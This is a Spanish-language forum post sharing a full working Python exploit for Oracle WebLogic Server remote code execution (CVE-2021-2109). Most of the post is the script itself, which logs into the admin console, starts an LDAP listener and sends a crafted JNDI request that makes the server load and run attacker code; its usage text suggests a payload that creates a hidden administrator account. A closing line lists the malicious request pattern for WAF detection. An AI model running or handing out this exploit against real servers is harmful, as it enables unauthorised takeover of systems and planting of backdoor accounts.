elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Estamos en la red social de Mastodon


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Oracle WebLogic Server RCE JNDI - CVE-2021-2109
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Oracle WebLogic Server RCE JNDI - CVE-2021-2109  (Leído 3,970 veces)
el-brujo
ehn
***
Desconectado Desconectado

Mensajes: 21.580


La libertad no se suplica, se conquista


Ver Perfil WWW
Oracle WebLogic Server RCE JNDI - CVE-2021-2109
« en: 25 Enero 2021, 22:44 pm »

- Exploit en (python3) JndiBinding  por Photubias


Código
  1. # Exploit Title: Oracle WebLogic Server 14.1.1.0 - RCE (Authenticated)
  2. # Date: 2021-01-21
  3. # Exploit Author: Photubias
  4. # Vendor Advisory: [1] https://www.oracle.com/security-alerts/cpujan2021.html
  5. # Vendor Homepage: https://www.oracle.com
  6. # Version: WebLogic 10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4, 14.1.1.0 (fixed in JDKs 6u201, 7u191, 8u182 & 11.0.1)
  7. # Tested on: WebLogic 14.1.1.0 with JDK-8u181 on Windows 10 20H2
  8. # CVE: CVE-2021-2109
  9.  
  10. #!/usr/bin/env python3
  11. '''    
  12.  Copyright 2021 Photubias(c)
  13.  
  14.        This program is free software: you can redistribute it and/or modify
  15.        it under the terms of the GNU General Public License as published by
  16.        the Free Software Foundation, either version 3 of the License, or
  17.        (at your option) any later version.
  18.  
  19.        This program is distributed in the hope that it will be useful,
  20.        but WITHOUT ANY WARRANTY; without even the implied warranty of
  21.        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  22.        GNU General Public License for more details.
  23.  
  24.        You should have received a copy of the GNU General Public License
  25.        along with this program.  If not, see <http://www.gnu.org/licenses/>.
  26.  
  27.        File name CVE-2021-2109.py
  28.        written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be
  29.  
  30.        This is a native implementation without requirements, written in Python 3.
  31.        Works equally well on Windows as Linux (as MacOS, probably ;-)
  32.  
  33.        Requires JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
  34.         from https://github.com/welk1n/JNDI-Injection-Exploit
  35.         to be in the same folder
  36. '''
  37. import urllib.request, urllib.parse, http.cookiejar, ssl
  38. import sys, os, optparse, subprocess, threading, time
  39.  
  40. ## Static vars; change at will, but recommend leaving as is
  41. sURL = 'http://192.168.0.100:7001'
  42. iTimeout = 5
  43. oRun = None
  44.  
  45. ## Ignore unsigned certs, if any because WebLogic is default HTTP
  46. ssl._create_default_https_context = ssl._create_unverified_context
  47.  
  48. class runJar(threading.Thread):
  49.    def __init__(self, sJarFile, sCMD, sAddress):
  50.        self.stdout = []
  51.        self.stderr = ''
  52.        self.cmd = sCMD
  53.        self.addr = sAddress
  54.        self.jarfile = sJarFile
  55.        self.proc = None
  56.        threading.Thread.__init__(self)
  57.  
  58.    def run(self):
  59.        self.proc = subprocess.Popen(['java', '-jar', self.jarfile, '-C', self.cmd, '-A', self.addr], shell=False, stdout = subprocess.PIPE, stderr = subprocess.PIPE, universal_newlines=True)
  60.        for line in iter(self.proc.stdout.readline, ''): self.stdout.append(line)
  61.        for line in iter(self.proc.stderr.readline, ''): self.stderr += line
  62.  
  63.  
  64. def findJNDI():
  65.    sCurDir = os.getcwd()
  66.    sFile = ''
  67.    for file in os.listdir(sCurDir):
  68.        if 'JNDI' in file and '.jar' in file:
  69.            sFile = file
  70.    print('[+] Found and using ' + sFile)
  71.    return sFile
  72.  
  73. def findJAVA(bVerbose):
  74.    try:
  75.        oProc = subprocess.Popen('java -version', stdout = subprocess.PIPE, stderr = subprocess.STDOUT)
  76.    except:
  77.        exit('[-] Error: java not found, needed to run the JAR file\n    Please make sure to have "java" in your path.')
  78.    sResult = list(oProc.stdout)[0].decode()
  79.    if bVerbose: print('[+] Found Java: ' + sResult)
  80.  
  81. def checkParams(options, args):
  82.    if args: sHost = args[0]
  83.    else:
  84.        sHost = input('[?] Please enter the URL ['+sURL+'] : ')
  85.        if sHost == '': sHost = sURL
  86.        if sHost[-1:] == '/': sHost = sHost[:-1]
  87.        if not sHost[:4].lower() == 'http': sHost = 'http://' + sHost
  88.    if options.username: sUser = options.username
  89.    else:
  90.        sUser = input('[?] Username [weblogic] : ')
  91.        if sUser == '': sUser = 'weblogic'
  92.    if options.password: sPass = options.password
  93.    else:
  94.        sPass = input('[?] Password [Passw0rd-] : ')
  95.        if sPass == '': sPass = 'Passw0rd-'
  96.    if options.command: sCMD = options.command
  97.    else:
  98.        sCMD = input('[?] Command to run [calc] : ')
  99.        if sCMD == '': sCMD = 'calc'
  100.    if options.listenaddr: sLHOST = options.listenaddr
  101.    else:
  102.        sLHOST = input('[?] Local IP to connect back to [192.168.0.10] : ')
  103.        if sLHOST == '': sLHOST = '192.168.0.10'
  104.    if options.verbose: bVerbose = True
  105.    else: bVerbose = False
  106.    return (sHost, sUser, sPass, sCMD, sLHOST, bVerbose)
  107.  
  108. def startListener(sJarFile, sCMD, sAddress, bVerbose):
  109.    global oRun
  110.    oRun = runJar(sJarFile, sCMD, sAddress)
  111.    oRun.start()
  112.    print('[!] Starting listener thread and waiting 3 seconds to retrieve the endpoint')
  113.    oRun.join(3)
  114.    if not oRun.stderr == '':
  115.        exit('[-] Error starting Java listener:\n' + oRun.stderr)
  116.    bThisLine=False
  117.    if bVerbose: print('[!] For this to work, make sure your firewall is configured to be reachable on 1389 & 8180')
  118.    for line in oRun.stdout:
  119.        if bThisLine: return line.split('/')[3].replace('\n','')
  120.        if 'JDK 1.8' in line: bThisLine = True
  121.  
  122. def endIt():
  123.    global oRun
  124.    print('[+] Closing threads')
  125.    if oRun: oRun.proc.terminate()
  126.    exit(0)
  127.  
  128. def main():
  129.    usage = (
  130.        'usage: %prog [options] URL \n'
  131.        ' Make sure to have "JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar"\n'
  132.        ' in the current working folder\n'
  133.        'Get it here: https://github.com/welk1n/JNDI-Injection-Exploit\n'
  134.        'Only works when hacker is reachable via an IPv4 address\n'
  135.        'Use "whoami" to just verify the vulnerability (OPSEC safe but no output)\n'
  136.        'Example: CVE-2021-2109.py -u weblogic -p Passw0rd -c calc -l 192.168.0.10 http://192.168.0.100:7001\n'
  137.        'Sample payload as admin: cmd /c net user pwned Passw0rd- /add & net localgroup administrators pwned /add'
  138.        )
  139.  
  140.    parser = optparse.OptionParser(usage=usage)
  141.    parser.add_option('--username', '-u', dest='username')
  142.    parser.add_option('--password', '-p', dest='password')
  143.    parser.add_option('--command', '-c', dest='command')
  144.    parser.add_option('--listen', '-l', dest='listenaddr')
  145.    parser.add_option('--verbose', '-v', dest='verbose', action="store_true", default=False)
  146.  
  147.    ## Get or ask for the vars
  148.    (options, args) = parser.parse_args()
  149.    (sHost, sUser, sPass, sCMD, sLHOST, bVerbose) = checkParams(options, args)
  150.  
  151.    ## Verify Java and JAR file
  152.    sJarFile = findJNDI()
  153.    findJAVA(bVerbose)
  154.  
  155.    ## Keep track of cookies between requests
  156.    cj = http.cookiejar.CookieJar()
  157.    oOpener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
  158.  
  159.    print('[+] Verifying reachability')
  160.    ## Get the cookie
  161.    oRequest = urllib.request.Request(url = sHost + '/console/')
  162.    oResponse = oOpener.open(oRequest, timeout = iTimeout)
  163.    for c in cj:
  164.        if c.name == 'ADMINCONSOLESESSION':
  165.            if bVerbose: print('[+] Got cookie "' + c.value + '"')
  166.  
  167.    ## Logging in
  168.    lData = {'j_username' : sUser, 'j_password' : sPass, 'j_character_encoding' : 'UTF-8'}
  169.    lHeaders = {'Referer' : sHost + '/console/login/LoginForm.jsp'}
  170.    oRequest = urllib.request.Request(url = sHost + '/console/j_security_check', data = urllib.parse.urlencode(lData).encode(), headers = lHeaders)
  171.    oResponse = oOpener.open(oRequest, timeout = iTimeout)
  172.    sResult = oResponse.read().decode(errors='ignore').split('\r\n')
  173.    bSuccess = True
  174.    for line in sResult:
  175.        if 'Authentication Denied' in line: bSuccess = False
  176.    if bSuccess: print('[+] Succesfully logged in!\n')
  177.    else: exit('[-] Authentication Denied')
  178.  
  179.    ## Launch the LDAP listener and retrieve the random endpoint value
  180.    sRandom = startListener(sJarFile, sCMD, sLHOST, bVerbose)
  181.    if bVerbose: print('[+] Got Java value: ' + sRandom)
  182.  
  183.    ## This is the actual vulnerability, retrieve LDAP data from victim which the runs on victim, it bypasses verification because IP is written as "127.0.0;1" instead of "127.0.0.1"
  184.    print('\n[+] Firing exploit now, hold on')
  185.    ##  http://192.168.0.100:7001/console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(-ldap://192.168.0;10:1389/5r5mu7;AdminServer-)
  186.    sConvertedIP = sLHOST.split('.')[0] + '.' + sLHOST.split('.')[1] + '.' + sLHOST.split('.')[2] + ';' + sLHOST.split('.')[3]
  187.    sFullUrl = sHost + r'/console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://' + sConvertedIP + ':1389/' + sRandom + r';AdminServer%22)'
  188.    if bVerbose: print('[!] Using URL ' + sFullUrl)
  189.    oRequest = urllib.request.Request(url = sFullUrl, headers = lHeaders)
  190.    oResponse = oOpener.open(oRequest, timeout = iTimeout)
  191.    time.sleep(5)
  192.    bExploitWorked = False
  193.    for line in oRun.stdout:
  194.        if 'Log a request' in line: bExploitWorked = True
  195.        if 'BypassByEl' in line: print('[-] Exploit failed, wrong SDK on victim')
  196.    if not bExploitWorked: print('[-] Exploit failed, victim likely patched')
  197.    else: print('[+] Victim vulnerable, exploit worked (could be as limited account!)')
  198.    if bVerbose: print(oRun.stderr)
  199.    endIt()
  200.  
  201. if __name__ == "__main__":
  202.    try: main()
  203.    except KeyboardInterrupt: endIt()

Cuidado peticiones tipo:

Código:
GET /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(-ldap://192.168.0;10:1389/hacked;AdminServer-)

Ya están saliendo varias reglas para WAF.
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines